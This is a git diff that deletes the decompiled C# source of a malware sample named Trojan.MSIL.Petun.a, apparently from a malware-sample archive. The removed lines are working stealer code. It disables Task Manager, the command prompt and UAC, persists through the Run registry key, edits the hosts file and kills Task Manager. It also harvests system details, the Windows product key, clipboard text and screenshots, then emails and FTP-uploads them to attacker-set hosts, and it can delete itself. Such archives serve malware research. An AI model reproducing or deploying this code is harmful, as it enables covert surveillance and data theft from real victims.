MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.WrUYmwRf) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.OSrSdXpm) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.FsCZUxzg) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.czGNrFEU) - Interaction.Shell("C:\\Windows\\System32\\FsCZUxzg.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.FjvvLPS) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.tYwOoPaU + Module1.LJOzs); - Process.Start(Module1.tYwOoPaU + Module1.LJOzs); - if (Operators.CompareString(Module1.XRjgDmxDy, "Melt", false) == 0) - Module1.GlVR(); - else if (Operators.CompareString(Module1.XRjgDmxDy, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new SFfCBdKc(Module1.QgMTl).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.SfpZYMMnv, "CurrentUser", false) == 0 | Operators.CompareString(Module1.SfpZYMMnv, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.xFMcDDSJL.Length != 4) - { - string[] strArray = Strings.Split(Module1.xFMcDDSJL, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.PQOTFx(); - switch (Module1.OWXgFyceL) - { - case 3: - new Thread(new ThreadStart(Module1.zeFq)).Start(); - break; - case 4: - DcFjhPEYP.Running = true; - break; - } - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.Fuajji, "", false) == 0); - string str = ""; - if (Module1.UOgdBW) - str = str + "System Information - \r\n" + Module1.LcdyzJhO() + "\r\n"; - if (Module1.avxHRM) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.Fuajji = str + Module1.Fuajji; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.JixqaI)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void JixqaI() - { - string fuajji = Module1.Fuajji; - Module1.Fuajji = ""; - if (Module1.kpMTa) - { - ref string local1 = ref Module1.knfET; - ref string local2 = ref Module1.Bdivs; - ref string local3 = ref Module1.pxLmG; - ref string local4 = ref Module1.cnhzi; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref fuajji; - int integer = Conversions.ToInteger(Module1.irPKnpWcv); - ref int local7 = ref integer; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7); - Module1.irPKnpWcv = Conversions.ToString(integer); - } - if (!Module1.eUzuuty) - return; - Module1.UpFTP(ref Module1.DaIlBhnHP, ref Module1.TfTQKcawg, ref Module1.EtwoNqV, ref Module1.FPyxllM, ref fuajji); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.RTnQVifO) * 60.0 * 1000.0)))); - - private static void IkEjHZlZ(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string tjPK(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string LcdyzJhO() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.tjPK((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.tjPK((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void zeFq() - { -label_0: - Module1.IkEjHZlZ(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.IkEjHZlZ(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void GlVR() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string knfET, - ref string Dir, - ref string Bdivs, - ref string pxLmG, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + knfET + Dir + str2, Bdivs, pxLmG); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + knfET + Dir + str2 + ".gif", Bdivs, pxLmG); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct aspMiHN - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum iVIiFSg - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - oDyhvVV = 35, // 0x00000023 - QiIitnG = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - UkzHJSp = 45, // 0x0000002D - LOGet = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - TzUZh = 162, // 0x000000A2 - LQmtB = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.aspMiHN lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyApplication.cs deleted file mode 100644 index 5b9719a7..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Ugne, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B7991DDA-495F-4622-A06A-2445C5692569 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyComputer.cs deleted file mode 100644 index ddda6188..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Ugne, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B7991DDA-495F-4622-A06A-2445C5692569 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyProject.cs deleted file mode 100644 index d3de15a9..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Ugne, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B7991DDA-495F-4622-A06A-2445C5692569 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/ROS.cs deleted file mode 100644 index d36e0445..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: Ugne, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B7991DDA-495F-4622-A06A-2445C5692569 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\WrUYmwRf", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.SfpZYMMnv, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/SFfCBdKc.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/SFfCBdKc.cs deleted file mode 100644 index 99db5a22..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/SFfCBdKc.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SFfCBdKc -// Assembly: Ugne, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B7991DDA-495F-4622-A06A-2445C5692569 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f.exe - -using System; -using System.Threading; - -internal class SFfCBdKc : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public SFfCBdKc(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git 